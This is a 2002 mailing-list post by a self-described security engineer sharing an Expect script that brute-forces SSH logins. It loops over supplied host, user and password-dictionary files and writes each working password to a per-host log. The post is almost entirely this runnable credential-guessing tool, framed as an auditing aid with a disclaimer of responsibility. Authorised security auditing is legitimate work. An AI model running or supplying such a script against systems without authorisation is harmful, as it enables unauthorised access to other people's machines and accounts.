SSh brute forcer

From: James Shanahan (jshanahanat_private)
Date: Fri Jan 25 2002 - 10:07:59 PST

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     ('binary' encoding is not supported, stored as-is)
    This is an expect script that will allow you to specify a 
    host file, user file, and a dictionary.  Extremely useful 
    for auditing large networks where you can't manually 
    log into every machine or don't fee like re-running 
    something on every host.  Hope everyone finds it 
    useful.  
    
    #!/usr/bin/expect -f 
    #     
    #    Written by James Shanahan
    (jshanahanat_private) 
    #    and Erin Palmer(epalmerat_private) 
    #    ssh brute forcer     
    #    This will alow you to specify hosts, password 
    lists, and a user 
    #    I do not take any reponsibilty for what you do with 
    this tool 
    #    Hopefully it will make your life easier rather then 
    making other 
    #    peoples lives more difficult! 
         
    set timeout 5 
    set dictionary [lindex $argv 0] 
    set file [lindex $argv 1] 
    set user [lindex $argv 2] 
    
    if {[llength $argv] != 3} { 
       puts stderr "Usage: $argv0 <dictionary-file> <hosts-
    file> <user-file>\n" 
       exit } 
    
    set tryHost [open $file r] 
    set tryPass [open $dictionary r] 
    set tryUser [open $user r] 
    
    set passwords [read $tryPass] 
    set hosts [read $tryHost] 
    set login [read $tryUser] 
    
    foreach username $login { 
    foreach passwd $passwords { 
    foreach ip $hosts { 
    spawn ssh $username@$ip 
    expect ":" 
       send "$passwd\n" 
    set logFile [open $ip.log a] 
    expect "L" { 
    puts $logFile "password for $username@$ip is 
    $passwd\n" 
    close $logFile 
    } 
    set id [exp_pid] 
    exec kill -INT $id   
    } 
        } 
    } 
    
    
    James G. Shanahan Jr.
    Security Engineer 
    Comcast Corporation
    
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